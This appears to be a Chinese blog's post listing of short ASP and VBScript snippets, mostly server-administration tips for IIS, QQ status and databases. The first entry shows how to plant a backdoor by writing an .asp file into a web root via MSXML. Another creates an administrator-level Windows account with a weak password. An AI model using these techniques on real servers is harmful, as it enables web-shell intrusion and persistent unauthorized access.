教你种新的后门xml木马

<%
set xmlDoc = server.createObject("Msxml2.DOMDocument") 
xmlDoc.loadXml("<a>hello</a>") 
xmlDoc.save("d:\wwwroot\testftp\wwwroot\1.asp")
set xmlDoc=nothing 
%>

, ,

密码保护:asp查询虚拟主机上的上传下载流量

这是一篇受密码保护的文章。您需要提供访问密码:


, , , , ,

vbs创建windows账户

Set o=CreateObject("Shell.Users")
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
set o=nothing

, ,

VBS查询QQ在线状态代码

msg = "QQ状态查询"
do
	qquin = inputbox("输入要查询的QQ号码" & vbcrlf & "查询可能需要几秒钟时间,请耐心等待",msg,"30879997")
	If qquin = false then wscript.Quit
loop until isnumeric(qquin) and Len(trim(qquin)) > 4 and Len(trim(qquin))<11
 
url = "http://wpa.qq.com/pa?p=1:" & qquin & ":1"
set ie = createobject("internetexplorer.application")
ie.visible = false
ie.navigate url
do until ie.readystate = 4
	wsh.sleep 100
loop
If ie.document.location.href = "http://wpslogo.qq.com/qq_offline.gif" then 
	MsgBox qquin & "不在线",64,msg
elseif ie.document.location.href = "http://wpslogo.qq.com/qq_online.gif" then 
	MsgBox qquin & "在线",64,msg
else
	MsgBox "未知错误!",16,msg
end if
ie.quit

, , , ,

IIS上关于站点池操作app pool(2)

Set objAppPool = GetObject("IIS://localhost/W3SVC/AppPools/online")
objAppPool.Start()  '启动=Start,停止=Stop,回收=??
Set objAppPools = GetObject("IIS://localhost/W3SVC/AppPools")
for each objAppPool in objAppPools
    WScript.echo objAppPool.Name '显示IIS上所有池
next
Set objAppPool = GetObject("IIS://localhost/W3SVC/AppPools/online")
Applications = objAppPool.EnumAppsInPool()
for index = 0 to UBound(Applications)
    WScript.echo Applications(index) '枚举池中的站点root
next
Set objAppPools = GetObject("IIS://localhost/W3SVC/AppPools")
Set objAppPool = objAppPools.Create("IIsApplicationPool", strAppPool)
objAppPool.SetInfo'创建一个进程池

, , , ,

怎样在asp中远程运行服务器上的软件

例如我们想运行这个vbs脚本,则用如下命令即可,注意要设置一个当前路径。

sub chongqi()
	Dim WshShell
	set WshShell = CreateObject("wscript.Shell")
	WshShell.CurrentDirectory="D:\jiaoben\"	'固定路径
	call WshShell.Run("c:\windows\system32\cscript.exe chongqi.vbs",0,false)
	Set WshShell=Nothing
end sub

, , , ,

删除过期文件的vbs脚本

技术含量不高,其实windows自带的搜索比这个强。主要是学习fso的用法,如果你能背着写完那以后不用看这方面的了,呵呵。

, , , , , ,

用vbs脚本来读取windows性能计数器中的数据

Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
Set objWebService = objWMIService.ExecQuery("Select * from Win32_PerfFormattedData_W3SVC_WebService")' where Name = 'ftp'")
For Each WebService In objWebService
	WScript.Echo WebService.TotalFilesTransferred
Next
'这样可以把IIS所有实例中的“发送文件总数”列举出来
'这个webservice对像中的计数器有很多,比如 BytesSentPersec 表示每秒发送字节数

, , , , , , ,

自动检测目录下的文件的编码

这个脚本可以检测目录下所有文件编码,当您需要找到编码不一致的文件时很有用

, , , , , ,

利用ASP中的eval为数据库字段对应的变量自动赋值

以前我不知道asp中也有类似javascript中的eval函数,现在才知道,悲剧啊
函数名是 execute () ,我们经常查询数据库,并经常一行一行的自己写变量赋值,现在我们如果查出的字段有20个,那如果这20个字段我都可能要用到,那我就要写20行 name=rs(“xxx”) ,你后面会发现累死人,而且字段名一改,程序中也要改。
给大家一个技巧就是直接用这三句代码搞定。

for i=0 to Rs.Fields.Count-1
	execute( "i_" & Rs.Fields(i).Name & "=Rs.Fields(" & i & ").value")
next

, , , ,